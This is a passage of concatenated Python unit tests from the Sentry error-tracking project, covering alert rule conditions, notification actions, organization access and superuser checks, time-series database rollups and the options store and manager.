        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'stacktrace.code',
            'value': 'foo',
        })
        self.assertDoesNotPass(rule, event)

    def test_extra_simple_value(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'extra.bar',
            'value': 'foo',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'extra.bar',
            'value': 'bar',
        })
        self.assertDoesNotPass(rule, event)

    def test_extra_nested_value(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'extra.foo.bar',
            'value': 'baz',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'extra.foo.bar',
            'value': 'bar',
        })
        self.assertDoesNotPass(rule, event)

    def test_extra_nested_list(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'extra.biz',
            'value': 'baz',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'attribute': 'extra.biz',
            'value': 'bar',
        })
        self.assertDoesNotPass(rule, event)






from __future__ import absolute_import

from sentry.testutils.cases import RuleTestCase
from sentry.rules.conditions.every_event import EveryEventCondition


class EveryEventConditionTest(RuleTestCase):
    rule_cls = EveryEventCondition

    def test_applies_correctly(self):
        rule = self.get_rule()

        self.assertPasses(rule, self.event, is_new=True)
        self.assertPasses(rule, self.event, is_new=False)






from __future__ import absolute_import

import itertools
import pytz
from datetime import datetime, timedelta

import mock
import six

from sentry.app import tsdb
from sentry.rules.conditions.event_frequency import (
    EventFrequencyCondition, EventUniqueUserFrequencyCondition, Interval
)
from sentry.testutils.cases import RuleTestCase


class FrequencyConditionMixin(object):
    def increment(self, event, count, timestamp=None):
        raise NotImplementedError

    @mock.patch('django.utils.timezone.now')
    def test_one_minute(self, now):
        now.return_value = datetime(2016, 8, 1, 0, 0, 0, 0, tzinfo=pytz.utc)

        event = self.get_event()
        value = 10
        rule = self.get_rule({
            'interval': Interval.ONE_MINUTE,
            'value': six.text_type(value),
        })

        self.increment(
            event,
            value + 1,
            timestamp=now() - timedelta(minutes=5),
        )
        self.assertDoesNotPass(rule, event)

        rule.clear_cache(event)
        self.increment(event, value)
        self.assertDoesNotPass(rule, event)

        rule.clear_cache(event)
        self.increment(event, 1)

        self.assertPasses(rule, event)

    @mock.patch('django.utils.timezone.now')
    def test_one_hour(self, now):
        now.return_value = datetime(2016, 8, 1, 0, 0, 0, 0, tzinfo=pytz.utc)

        event = self.get_event()
        value = 10
        rule = self.get_rule({
            'interval': Interval.ONE_HOUR,
            'value': six.text_type(value),
        })

        self.increment(
            event,
            value + 1,
            timestamp=now() - timedelta(minutes=90),
        )
        self.assertDoesNotPass(rule, event)

        rule.clear_cache(event)
        self.increment(event, value)
        self.assertDoesNotPass(rule, event)

        rule.clear_cache(event)
        self.increment(event, 1)

        self.assertPasses(rule, event)

    @mock.patch('django.utils.timezone.now')
    def test_one_day(self, now):
        now.return_value = datetime(2016, 8, 1, 0, 0, 0, 0, tzinfo=pytz.utc)

        event = self.get_event()
        value = 10
        rule = self.get_rule({
            'interval': Interval.ONE_DAY,
            'value': six.text_type(value),
        })

        self.increment(
            event,
            value + 1,
            timestamp=now() - timedelta(hours=36),
        )
        self.assertDoesNotPass(rule, event)

        rule.clear_cache(event)
        self.increment(event, value)
        self.assertDoesNotPass(rule, event)

        rule.clear_cache(event)
        self.increment(event, 1)

        self.assertPasses(rule, event)

    @mock.patch('django.utils.timezone.now')
    def test_doesnt_send_consecutive(self, now):
        now.return_value = datetime(2016, 8, 1, 0, 0, 0, 0, tzinfo=pytz.utc)

        event = self.get_event()
        value = 10
        rule = self.get_rule({
            'interval': Interval.ONE_HOUR,
            'value': six.text_type(value),
        })

        self.assertDoesNotPass(rule, event)

        rule.clear_cache(event)
        self.increment(event, value + 1)

        self.assertPasses(rule, event)

        self.assertDoesNotPass(rule, event, rule_last_active=now())

    @mock.patch('django.utils.timezone.now')
    def test_more_than_zero(self, now):
        now.return_value = datetime(2016, 8, 1, 0, 0, 0, 0, tzinfo=pytz.utc)

        event = self.get_event()
        rule = self.get_rule({
            'interval': Interval.ONE_MINUTE,
            'value': six.text_type('0'),
        })

        self.assertDoesNotPass(rule, event)

        rule.clear_cache(event)
        self.increment(event, 1)

        self.assertPasses(rule, event)


class EventFrequencyConditionTestCase(FrequencyConditionMixin, RuleTestCase):
    rule_cls = EventFrequencyCondition

    def increment(self, event, count, timestamp=None):
        tsdb.incr(tsdb.models.group, event.group_id, count=count, timestamp=timestamp)


class EventUniqueUserFrequencyConditionTestCase(FrequencyConditionMixin, RuleTestCase):
    rule_cls = EventUniqueUserFrequencyCondition

    sequence = itertools.count()  # generates unique values, class scope doesn't matter

    def increment(self, event, count, timestamp=None):
        tsdb.record(
            tsdb.models.users_affected_by_group,
            event.group_id,
            [next(self.sequence) for _ in xrange(0, count)],
            timestamp=timestamp
        )






from __future__ import absolute_import






from __future__ import absolute_import

from sentry.testutils.cases import RuleTestCase
from sentry.rules.conditions.tagged_event import TaggedEventCondition, MatchType


class TaggedEventConditionTest(RuleTestCase):
    rule_cls = TaggedEventCondition

    def get_event(self):
        event = self.event
        event.data['tags'] = (
            ('logger', 'sentry.example'),
            ('logger', 'foo.bar'),
            ('notlogger', 'sentry.other.example'),
            ('notlogger', 'bar.foo.baz'),
        )
        return event

    def test_render_label(self):
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'key': u'\xc3',
            'value': u'\xc4',
        })
        assert rule.render_label() == u'An event\'s tags match \xc3 equals \xc4'

    def test_equals(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'key': 'LOGGER',
            'value': 'sentry.example',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.EQUAL,
            'key': 'logger',
            'value': 'sentry.other.example',
        })
        self.assertDoesNotPass(rule, event)

    def test_does_not_equal(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.NOT_EQUAL,
            'key': 'logger',
            'value': 'sentry.example',
        })
        self.assertDoesNotPass(rule, event)

        rule = self.get_rule({
            'match': MatchType.NOT_EQUAL,
            'key': 'logger',
            'value': 'sentry.other.example',
        })
        self.assertPasses(rule, event)

    def test_starts_with(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.STARTS_WITH,
            'key': 'logger',
            'value': 'sentry.',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.STARTS_WITH,
            'key': 'logger',
            'value': 'bar.',
        })
        self.assertDoesNotPass(rule, event)

    def test_ends_with(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.ENDS_WITH,
            'key': 'logger',
            'value': '.example',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.ENDS_WITH,
            'key': 'logger',
            'value': '.foo',
        })
        self.assertDoesNotPass(rule, event)

    def test_contains(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.CONTAINS,
            'key': 'logger',
            'value': 'sentry',
        })
        self.assertPasses(rule, event)

        rule = self.get_rule({
            'match': MatchType.CONTAINS,
            'key': 'logger',
            'value': 'bar.foo',
        })
        self.assertDoesNotPass(rule, event)

    def test_does_not_contain(self):
        event = self.get_event()
        rule = self.get_rule({
            'match': MatchType.NOT_CONTAINS,
            'key': 'logger',
            'value': 'sentry',
        })
        self.assertDoesNotPass(rule, event)

        rule = self.get_rule({
            'match': MatchType.NOT_CONTAINS,
            'key': 'logger',
            'value': 'bar.foo',
        })
        self.assertPasses(rule, event)






from __future__ import absolute_import

from mock import MagicMock, patch

from sentry.testutils.cases import RuleTestCase
from sentry.rules.actions.notify_event_service import NotifyEventServiceAction


class NotifyEventServiceActionTest(RuleTestCase):
    rule_cls = NotifyEventServiceAction

    def test_applies_correctly(self):
        event = self.get_event()

        plugin = MagicMock()
        plugin.is_enabled.return_value = True
        plugin.should_notify.return_value = True

        rule = self.get_rule({
            'service': 'mail',
        })

        with patch('sentry.plugins.plugins.get') as get_plugin:
            get_plugin.return_value = plugin

            results = list(rule.after(event=event, state=self.get_state()))

        assert len(results) is 1
        assert plugin.should_notify.call_count is 1
        assert results[0].callback is plugin.rule_notify






from __future__ import absolute_import

from mock import MagicMock

from sentry.testutils.cases import RuleTestCase
from sentry.rules.actions.notify_event import NotifyEventAction


class NotifyEventActionTest(RuleTestCase):
    rule_cls = NotifyEventAction

    def test_applies_correctly(self):
        event = self.get_event()

        plugin = MagicMock()
        rule = self.get_rule()
        rule.get_plugins = lambda: (plugin,)

        results = list(rule.after(event=event, state=self.get_state()))

        assert len(results) is 1
        assert plugin.should_notify.call_count is 1
        assert results[0].callback is plugin.rule_notify






from __future__ import absolute_import

from django.contrib.auth.models import AnonymousUser
from mock import Mock

from sentry.auth import access
from sentry.models import AuthProvider, Organization
from sentry.testutils import TestCase


class FromUserTest(TestCase):
    def test_no_access(self):
        organization = self.create_organization()
        team = self.create_team(organization=organization)
        user = self.create_user()

        result = access.from_user(user, organization)
        assert not result.is_active
        assert result.sso_is_valid
        assert not result.scopes
        assert not result.has_team_access(team)
        assert not result.has_team_membership(team)

    def test_owner_all_teams(self):
        user = self.create_user()
        organization = self.create_organization(owner=self.user)
        member = self.create_member(
            organization=organization, user=user,
            role='owner',
        )
        team = self.create_team(organization=organization)

        result = access.from_user(user, organization)
        assert result.is_active
        assert result.sso_is_valid
        assert result.scopes == member.get_scopes()
        assert result.has_team_access(team)
        assert result.has_team_membership(team)

    def test_member_no_teams_closed_membership(self):
        user = self.create_user()
        organization = self.create_organization(
            owner=self.user,
            flags=0,  # disable default allow_joinleave
        )
        member = self.create_member(
            organization=organization, user=user,
            role='member',
        )
        team = self.create_team(organization=organization)

        result = access.from_user(user, organization)
        assert result.is_active
        assert result.sso_is_valid
        assert result.scopes == member.get_scopes()
        assert not result.has_team_access(team)
        assert not result.has_team_membership(team)

    def test_member_no_teams_open_membership(self):
        user = self.create_user()
        organization = self.create_organization(
            owner=self.user,
            flags=Organization.flags.allow_joinleave,
        )
        member = self.create_member(
            organization=organization, user=user,
            role='member', teams=(),
        )
        team = self.create_team(organization=organization)

        result = access.from_user(user, organization)
        assert result.is_active
        assert result.sso_is_valid
        assert result.scopes == member.get_scopes()
        assert result.has_team_access(team)
        assert not result.has_team_membership(team)

    def test_team_restricted_org_member_access(self):
        user = self.create_user()
        organization = self.create_organization()
        team = self.create_team(organization=organization)
        member = self.create_member(
            organization=organization,
            user=user,
            teams=[team],
        )

        result = access.from_user(user, organization)
        assert result.is_active
        assert result.sso_is_valid
        assert result.scopes == member.get_scopes()
        assert result.has_team_access(team)
        assert result.has_team_membership(team)

    def test_unlinked_sso(self):
        user = self.create_user()
        organization = self.create_organization(owner=user)
        self.create_team(organization=organization)
        AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )

        result = access.from_user(user, organization)
        assert not result.sso_is_valid

    def test_sso_without_link_requirement(self):
        user = self.create_user()
        organization = self.create_organization(owner=user)
        self.create_team(organization=organization)
        AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
            flags=AuthProvider.flags.allow_unlinked,
        )

        result = access.from_user(user, organization)
        assert result.sso_is_valid

    def test_anonymous_user(self):
        user = self.create_user()
        anon_user = AnonymousUser()
        organization = self.create_organization(owner=user)
        result = access.from_user(anon_user, organization)

        assert not result.is_active


class DefaultAccessTest(TestCase):
    def test_no_access(self):
        result = access.DEFAULT
        assert not result.is_active
        assert result.sso_is_valid
        assert not result.scopes
        assert not result.has_team_access(Mock())
        assert not result.has_team_membership(Mock())






from __future__ import absolute_import

from django.http import HttpRequest
from django.test.utils import override_settings

from sentry.models import User
from sentry.auth.utils import is_active_superuser


def test_is_active_superuser():
    request = HttpRequest()
    request.META['REMOTE_ADDR'] = '10.0.0.1'

    with override_settings(INTERNAL_IPS=()):
        assert is_active_superuser(request) is False
        request.user = User()
        assert is_active_superuser(request) is False
        request.user.is_superuser = True
        assert is_active_superuser(request) is True

    with override_settings(INTERNAL_IPS=('127.0.0.1',)):
        assert is_active_superuser(request) is False

    with override_settings(INTERNAL_IPS=('10.0.0.1',)):
        assert is_active_superuser(request) is True






from __future__ import absolute_import, print_function

import pytest

from sentry.auth.exceptions import IdentityNotValid
from sentry.auth.providers.oauth2 import OAuth2Provider
from sentry.models import AuthIdentity, AuthProvider
from sentry.testutils import TestCase


class OAuth2ProviderTest(TestCase):
    def setUp(self):
        self.org = self.create_organization(owner=self.user)
        self.user = self.create_user('foo@example.com')
        self.auth_provider = AuthProvider.objects.create(
            provider='oauth2',
            organization=self.org,
        )
        self.provider = self.get_provider()
        super(OAuth2ProviderTest, self).setUp()

    def get_provider(self):
        self.provider = OAuth2Provider(
            key=self.auth_provider.provider
        )

    def test_refresh_identity_without_refresh_token(self):
        auth_identity = AuthIdentity.objects.create(
            auth_provider=self.auth_provider,
            user=self.user,
            data={
                'access_token': 'access_token',
            }
        )

        provider = OAuth2Provider(key=self.auth_provider.provider)
        with pytest.raises(IdentityNotValid):
            provider.refresh_identity(auth_identity)






from __future__ import absolute_import, division

import mock
import pytz

from datetime import datetime, timedelta

from sentry.testutils import TestCase
from sentry.tsdb.base import BaseTSDB, ONE_MINUTE, ONE_HOUR, ONE_DAY
from sentry.utils.dates import to_timestamp


class BaseTSDBTest(TestCase):
    def setUp(self):
        self.tsdb = BaseTSDB(rollups=(
            # time in seconds, samples to keep
            (10, 30),  # 5 minutes at 10 seconds
            (ONE_MINUTE, 120),  # 2 hours at 1 minute
            (ONE_HOUR, 24),  # 1 days at 1 hour
            (ONE_DAY, 30),  # 30 days at 1 day
        ))

    def test_normalize_to_epoch(self):
        timestamp = datetime(2013, 5, 18, 15, 13, 58, 132928, tzinfo=pytz.UTC)
        normalize_to_epoch = self.tsdb.normalize_to_epoch

        result = normalize_to_epoch(timestamp, 60)
        assert result == 1368889980
        result = normalize_to_epoch(timestamp + timedelta(seconds=20), 60)
        assert result == 1368890040
        result = normalize_to_epoch(timestamp + timedelta(seconds=30), 60)
        assert result == 1368890040
        result = normalize_to_epoch(timestamp + timedelta(seconds=70), 60)
        assert result == 1368890100

    def test_rollup(self):
        pre_results = {
            1: [(1368889980, 5), (1368890040, 10), (1368893640, 7)],
        }
        post_results = self.tsdb.rollup(pre_results, 3600)
        assert len(post_results) == 1
        assert post_results[1] == [
            [1368889200, 15], [1368892800, 7]
        ]

    def test_calculate_expiry(self):
        timestamp = datetime(2013, 5, 18, 15, 13, 58, 132928, tzinfo=pytz.UTC)
        result = self.tsdb.calculate_expiry(10, 30, timestamp)
        assert result == 1368890330

    @mock.patch('django.utils.timezone.now')
    def test_get_optimal_rollup_series_aligned_intervals(self, now):
        now.return_value = datetime(2016, 8, 1, tzinfo=pytz.utc)

        start = now() - timedelta(seconds=30)
        assert self.tsdb.get_optimal_rollup_series(start) == (
            10,
            [to_timestamp(start + timedelta(seconds=10) * i) for i in xrange(4)],
        )

        start = now() - timedelta(minutes=30)
        assert self.tsdb.get_optimal_rollup_series(start) == (
            ONE_MINUTE,
            [to_timestamp(start + timedelta(minutes=1) * i) for i in xrange(31)],
        )

        start = now() - timedelta(hours=5)
        assert self.tsdb.get_optimal_rollup_series(start) == (
            ONE_HOUR,
            [to_timestamp(start + timedelta(hours=1) * i) for i in xrange(6)],
        )

        start = now() - timedelta(days=7)
        assert self.tsdb.get_optimal_rollup_series(start) == (
            ONE_DAY,
            [to_timestamp(start + timedelta(hours=24) * i) for i in xrange(8)],
        )

    @mock.patch('django.utils.timezone.now')
    def test_get_optimal_rollup_series_offset_intervals(self, now):
        # This test is a funny one (notice it doesn't return a range that
        # includes the start position.) This occurs because the algorithm for
        # determining the series to be returned will attempt to return the same
        # duration of time as represented by the start and end timestamps, but
        # doesn't necessarily return data *from that specific interval* (the
        # end timestamp is always included.)

        now.return_value = datetime(2016, 8, 1, 0, 0, 15, tzinfo=pytz.utc)
        start = now() - timedelta(seconds=19)
        assert self.tsdb.get_optimal_rollup_series(start, rollup=10) == (
            10,
            [
                to_timestamp(datetime(2016, 8, 1, 0, 0, 0, tzinfo=pytz.utc)),
                to_timestamp(datetime(2016, 8, 1, 0, 0, 10, tzinfo=pytz.utc)),
            ]
        )

        now.return_value = datetime(2016, 8, 1, 0, 0, 30, tzinfo=pytz.utc)
        start = now() - timedelta(seconds=ONE_MINUTE - 1)
        assert self.tsdb.get_optimal_rollup_series(start, rollup=ONE_MINUTE) == (
            ONE_MINUTE,
            [to_timestamp(datetime(2016, 8, 1, 0, 0, 0, tzinfo=pytz.utc))]
        )

        now.return_value = datetime(2016, 8, 1, 12, tzinfo=pytz.utc)
        start = now() - timedelta(seconds=ONE_DAY - 1)
        assert self.tsdb.get_optimal_rollup_series(start, rollup=ONE_DAY) == (
            ONE_DAY,
            [to_timestamp(datetime(2016, 8, 1, 0, tzinfo=pytz.utc))]
        )






from __future__ import absolute_import






from __future__ import absolute_import

import pytz

from datetime import (
    datetime,
    timedelta,
)

from sentry.testutils import TestCase
from sentry.tsdb.base import TSDBModel, ONE_MINUTE, ONE_HOUR, ONE_DAY
from sentry.tsdb.redis import RedisTSDB
from sentry.utils.dates import to_timestamp


class RedisTSDBTest(TestCase):
    def setUp(self):
        self.db = RedisTSDB(
            rollups=(
                # time in seconds, samples to keep
                (10, 30),  # 5 minutes at 10 seconds
                (ONE_MINUTE, 120),  # 2 hours at 1 minute
                (ONE_HOUR, 24),  # 1 days at 1 hour
                (ONE_DAY, 30),  # 30 days at 1 day
            ),
            vnodes=64,
            enable_frequency_sketches=True,
        )

    def test_make_counter_key(self):
        result = self.db.make_counter_key(TSDBModel.project, 1368889980, 1)
        assert result == 'ts:1:1368889980:1'

        result = self.db.make_counter_key(TSDBModel.project, 1368889980, 'foo')
        assert result == 'ts:1:1368889980:33'

    def test_get_model_key(self):
        result = self.db.get_model_key(1)
        assert result == 1

        result = self.db.get_model_key('foo')
        assert result == 'bf4e529197e56a48ae2737505b9736e4'

    def test_simple(self):
        now = datetime.utcnow().replace(tzinfo=pytz.UTC)
        dts = [now + timedelta(hours=i) for i in range(4)]

        def timestamp(d):
            t = int(to_timestamp(d))
            return t - (t % 3600)

        self.db.incr(TSDBModel.project, 1, dts[0])
        self.db.incr(TSDBModel.project, 1, dts[1], count=3)
        self.db.incr(TSDBModel.project, 1, dts[2])
        self.db.incr_multi([
            (TSDBModel.project, 1),
            (TSDBModel.project, 2),
        ], dts[3], count=4)

        results = self.db.get_range(TSDBModel.project, [1], dts[0], dts[-1])
        assert results == {
            1: [
                (timestamp(dts[0]), 1),
                (timestamp(dts[1]), 3),
                (timestamp(dts[2]), 1),
                (timestamp(dts[3]), 4),
            ],
        }
        results = self.db.get_range(TSDBModel.project, [2], dts[0], dts[-1])
        assert results == {
            2: [
                (timestamp(dts[0]), 0),
                (timestamp(dts[1]), 0),
                (timestamp(dts[2]), 0),
                (timestamp(dts[3]), 4),
            ],
        }

        results = self.db.get_sums(TSDBModel.project, [1, 2], dts[0], dts[-1])
        assert results == {
            1: 9,
            2: 4,
        }

    def test_count_distinct(self):
        now = datetime.utcnow().replace(tzinfo=pytz.UTC)
        dts = [now + timedelta(hours=i) for i in range(4)]

        model = TSDBModel.users_affected_by_group

        def timestamp(d):
            t = int(to_timestamp(d))
            return t - (t % 3600)

        self.db.record(
            model,
            1,
            ('foo', 'bar'),
            dts[0],
        )

        self.db.record(
            model,
            1,
            ('baz',),
            dts[1],
        )

        self.db.record_multi((
            (
                model,
                1,
                ('foo', 'bar', 'baz'),
            ),
            (
                model,
                2,
                ('bar',),
            ),
        ), dts[2])

        self.db.record(
            model,
            2,
            ('foo',),
            dts[3],
        )

        assert self.db.get_distinct_counts_series(model, [1], dts[0], dts[-1], rollup=3600) == {
            1: [
                (timestamp(dts[0]), 2),
                (timestamp(dts[1]), 1),
                (timestamp(dts[2]), 3),
                (timestamp(dts[3]), 0),
            ],
        }

        assert self.db.get_distinct_counts_series(model, [2], dts[0], dts[-1], rollup=3600) == {
            2: [
                (timestamp(dts[0]), 0),
                (timestamp(dts[1]), 0),
                (timestamp(dts[2]), 1),
                (timestamp(dts[3]), 1),
            ],
        }

        results = self.db.get_distinct_counts_totals(model, [1, 2], dts[0], dts[-1], rollup=3600)
        assert results == {
            1: 3,
            2: 2,
        }

        assert self.db.get_distinct_counts_union(model, [], dts[0], dts[-1], rollup=3600) == 0
        assert self.db.get_distinct_counts_union(model, [1, 2], dts[0], dts[-1], rollup=3600) == 3

    def test_frequency_tables(self):
        now = datetime.utcnow().replace(tzinfo=pytz.UTC)
        model = TSDBModel.frequent_projects_by_organization

        rollup = 3600

        self.db.record_frequency_multi(
            (
                (model, {
                    'organization:1': {
                        "project:1": 1,
                        "project:2": 2,
                        "project:3": 3,
                    },
                }),
            ),
            now
        )

        self.db.record_frequency_multi(
            (
                (model, {
                    'organization:1': {
                        "project:1": 1,
                        "project:2": 2,
                        "project:3": 3,
                        "project:4": 4,
                    },
                    "organization:2": {
                        "project:5": 1.5,
                    },
                }),
            ),
            now - timedelta(hours=1),
        )

        assert self.db.get_most_frequent(
            model,
            ('organization:1', 'organization:2'),
            now,
            rollup=rollup,
        ) == {
            'organization:1': [
                ('project:3', 3.0),
                ('project:2', 2.0),
                ('project:1', 1.0),
            ],
            'organization:2': [],
        }

        assert self.db.get_most_frequent(
            model,
            ('organization:1', 'organization:2'),
            now,
            limit=1,
            rollup=rollup,
        ) == {
            'organization:1': [
                ('project:3', 3.0),
            ],
            'organization:2': [],
        }

        assert self.db.get_most_frequent(
            model,
            ('organization:1', 'organization:2'),
            now - timedelta(hours=1),
            now,
            rollup=rollup,
        ) == {
            'organization:1': [
                ('project:3', 3.0 + 3.0),
                ('project:2', 2.0 + 2.0),
                ('project:4', 4.0),
                ('project:1', 1.0 + 1.0),
            ],
            'organization:2': [
                ('project:5', 1.5),
            ],
        }

        timestamp = int(to_timestamp(now) // rollup) * rollup

        assert self.db.get_most_frequent_series(
            model,
            (
                'organization:1',
                'organization:2',
                'organization:3',
            ),
            now - timedelta(hours=1),
            now,
            rollup=rollup,
        ) == {
            'organization:1': [
                (timestamp - rollup, {
                    'project:1': 1.0,
                    'project:2': 2.0,
                    'project:3': 3.0,
                    'project:4': 4.0,
                }),
                (timestamp, {
                    'project:1': 1.0,
                    'project:2': 2.0,
                    'project:3': 3.0,
                }),
            ],
            'organization:2': [
                (timestamp - rollup, {
                    'project:5': 1.5,
                }),
                (timestamp, {}),
            ],
            'organization:3': [
                (timestamp - rollup, {}),
                (timestamp, {}),
            ],
        }

        assert self.db.get_frequency_series(
            model,
            {
                'organization:1': ("project:1", "project:2", "project:3", "project:4"),
                'organization:2': ("project:5",),
            },
            now - timedelta(hours=1),
            now,
            rollup=rollup,
        ) == {
            'organization:1': [
                (timestamp - rollup, {
                    "project:1": 1.0,
                    "project:2": 2.0,
                    "project:3": 3.0,
                    "project:4": 4.0,
                }),
                (timestamp, {
                    "project:1": 1.0,
                    "project:2": 2.0,
                    "project:3": 3.0,
                    "project:4": 0.0,
                }),
            ],
            'organization:2': [
                (timestamp - rollup, {
                    "project:5": 1.5,
                }),
                (timestamp, {
                    "project:5": 0.0,
                }),
            ],
        }

        assert self.db.get_frequency_totals(
            model,
            {
                'organization:1': ("project:1", "project:2", "project:3", "project:4", "project:5"),
                'organization:2': ("project:1",),
            },
            now - timedelta(hours=1),
            now,
            rollup=rollup,
        ) == {
            'organization:1': {
                "project:1": 1.0 + 1.0,
                "project:2": 2.0 + 2.0,
                "project:3": 3.0 + 3.0,
                "project:4": 4.0,
                "project:5": 0.0,
            },
            'organization:2': {
                "project:1": 0.0,
            },
        }






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock

from sentry import app
from sentry.testutils import TestCase


class AppTest(TestCase):
    def test_buffer_is_a_buffer(self):
        from sentry.buffer.base import Buffer
        self.assertEquals(type(app.buffer), Buffer)


class GetBufferTest(TestCase):
    @mock.patch('sentry.app.import_string')
    def test_instantiates_class_with_options(self, import_string):
        options = {'hello': 'world'}
        path = 'lol.FooBar'

        result = app.get_instance(path, options)

        import_string.assert_called_once_with(path)
        import_string.return_value.assert_called_once_with(**options)

        assert result == import_string.return_value.return_value






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from uuid import uuid1

import pytest
from exam import before, fixture
from mock import patch

from sentry.cache.redis import RedisCache
from sentry.models import Option
from sentry.options.store import OptionsStore
from sentry.testutils import TestCase


class OptionsStoreTest(TestCase):
    @fixture
    def store(self):
        return OptionsStore(
            cache=RedisCache()
        )

    @fixture
    def key(self):
        return self.make_key()

    @before
    def flush_local_cache(self):
        self.store.flush_local_cache()

    def make_key(self, ttl=10, grace=10):
        return self.store.make_key(uuid1().hex, '', object, 0, ttl, grace)

    def test_simple(self):
        store, key = self.store, self.key

        assert store.get(key) is None
        assert store.set(key, 'bar')
        assert store.get(key) == 'bar'
        assert store.delete(key)

    def test_simple_without_cache(self):
        store = OptionsStore(cache=None)
        key = self.key

        assert store.get(key) is None

        with pytest.raises(AssertionError):
            store.set(key, 'bar')

        with pytest.raises(AssertionError):
            store.delete(key)

    def test_db_and_cache_unavailable(self):
        store, key = self.store, self.key
        with patch.object(Option.objects, 'get_queryset', side_effect=Exception()):
            # we can't update options if the db is unavailable
            with self.assertRaises(Exception):
                store.set(key, 'bar')

        # Assert nothing was written to the local_cache
        assert not store._local_cache

        store.set(key, 'bar')

        with patch.object(Option.objects, 'get_queryset', side_effect=Exception()):
            assert store.get(key) == 'bar'

            with patch.object(store.cache, 'get', side_effect=Exception()):
                assert store.get(key) == 'bar'
                store.flush_local_cache()
                assert store.get(key) is None

    @patch('sentry.options.store.time')
    def test_key_with_grace(self, mocked_time):
        store, key = self.store, self.make_key(10, 10)

        mocked_time.return_value = 0
        store.set(key, 'bar')

        with patch.object(Option.objects, 'get_queryset', side_effect=Exception()):
            with patch.object(store.cache, 'get', side_effect=Exception()):
                # Serves the value beyond TTL
                mocked_time.return_value = 15
                assert store.get(key) == 'bar'

                mocked_time.return_value = 21
                assert store.get(key) is None

                # It should have also been evicted
                assert not store._local_cache

    @patch('sentry.options.store.time')
    def test_key_ttl(self, mocked_time):
        store, key = self.store, self.make_key(10, 0)

        mocked_time.return_value = 0
        store.set(key, 'bar')

        with patch.object(Option.objects, 'get_queryset', side_effect=Exception()):
            with patch.object(store.cache, 'get', side_effect=Exception()):
                assert store.get(key) == 'bar'

        Option.objects.filter(key=key.name).update(value='lol')
        store.cache.delete(key.cache_key)
        # Still within TTL, so don't check database
        assert store.get(key) == 'bar'

        mocked_time.return_value = 15

        with patch.object(Option.objects, 'get_queryset', side_effect=Exception()):
            with patch.object(store.cache, 'get', side_effect=Exception()):
                assert store.get(key) is None

        assert store.get(key) == 'lol'

    @patch('sentry.options.store.time')
    def test_clean_local_cache(self, mocked_time):
        store = self.store

        mocked_time.return_value = 0

        key1 = self.make_key(10, 0)  # should expire after 10
        key2 = self.make_key(10, 5)  # should expire after 15
        key3 = self.make_key(10, 10)  # should expire after 20
        key4 = self.make_key(10, 15)  # should expire after 25

        store.set(key1, 'x')
        store.set(key2, 'x')
        store.set(key3, 'x')
        store.set(key4, 'x')

        assert len(store._local_cache) == 4

        mocked_time.return_value = 0
        store.clean_local_cache()
        assert len(store._local_cache) == 4

        mocked_time.return_value = 11
        store.clean_local_cache()
        assert len(store._local_cache) == 3
        assert key1.cache_key not in store._local_cache

        mocked_time.return_value = 21
        store.clean_local_cache()
        assert len(store._local_cache) == 1
        assert key1.cache_key not in store._local_cache
        assert key2.cache_key not in store._local_cache
        assert key3.cache_key not in store._local_cache

        mocked_time.return_value = 26
        store.clean_local_cache()
        assert not store._local_cache






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from exam import fixture, around
from mock import patch
from django.conf import settings

from sentry.cache.redis import RedisCache
from sentry.models import Option
from sentry.options.store import OptionsStore
from sentry.options.manager import (
    OptionsManager, UnknownOption, DEFAULT_FLAGS,
    FLAG_IMMUTABLE, FLAG_NOSTORE, FLAG_STOREONLY, FLAG_REQUIRED, FLAG_PRIORITIZE_DISK)
from sentry.utils.types import Int, String
from sentry.testutils import TestCase


class OptionsManagerTest(TestCase):
    @fixture
    def store(self):
        return OptionsStore(
            cache=RedisCache()
        )

    @fixture
    def manager(self):
        return OptionsManager(store=self.store)

    @around
    def register(self):
        default_options = settings.SENTRY_DEFAULT_OPTIONS.copy()
        settings.SENTRY_DEFAULT_OPTIONS = {}
        self.store.flush_local_cache()
        self.manager.register('foo')
        yield
        self.manager.unregister('foo')
        settings.SENTRY_DEFAULT_OPTIONS = default_options

    def test_simple(self):
        assert self.manager.get('foo') == ''

        with self.settings(SENTRY_OPTIONS={'foo': 'bar'}):
            assert self.manager.get('foo') == 'bar'

        self.manager.set('foo', 'bar')

        assert self.manager.get('foo') == 'bar'

        self.manager.delete('foo')

        assert self.manager.get('foo') == ''

    def test_register(self):
        with self.assertRaises(UnknownOption):
            self.manager.get('does-not-exit')

        with self.assertRaises(UnknownOption):
            self.manager.set('does-not-exist', 'bar')

        self.manager.register('does-not-exist')
        self.manager.get('does-not-exist')  # Just shouldn't raise
        self.manager.unregister('does-not-exist')

        with self.assertRaises(UnknownOption):
            self.manager.get('does-not-exist')

        with self.assertRaises(AssertionError):
            # This key should already exist, and we can't re-register
            self.manager.register('foo')

        with self.assertRaises(TypeError):
            self.manager.register('wrong-type', default=1, type=String)

        with self.assertRaises(TypeError):
            self.manager.register('none-type', default=None, type=type(None))

    def test_coerce(self):
        self.manager.register('some-int', type=Int)

        self.manager.set('some-int', 0)
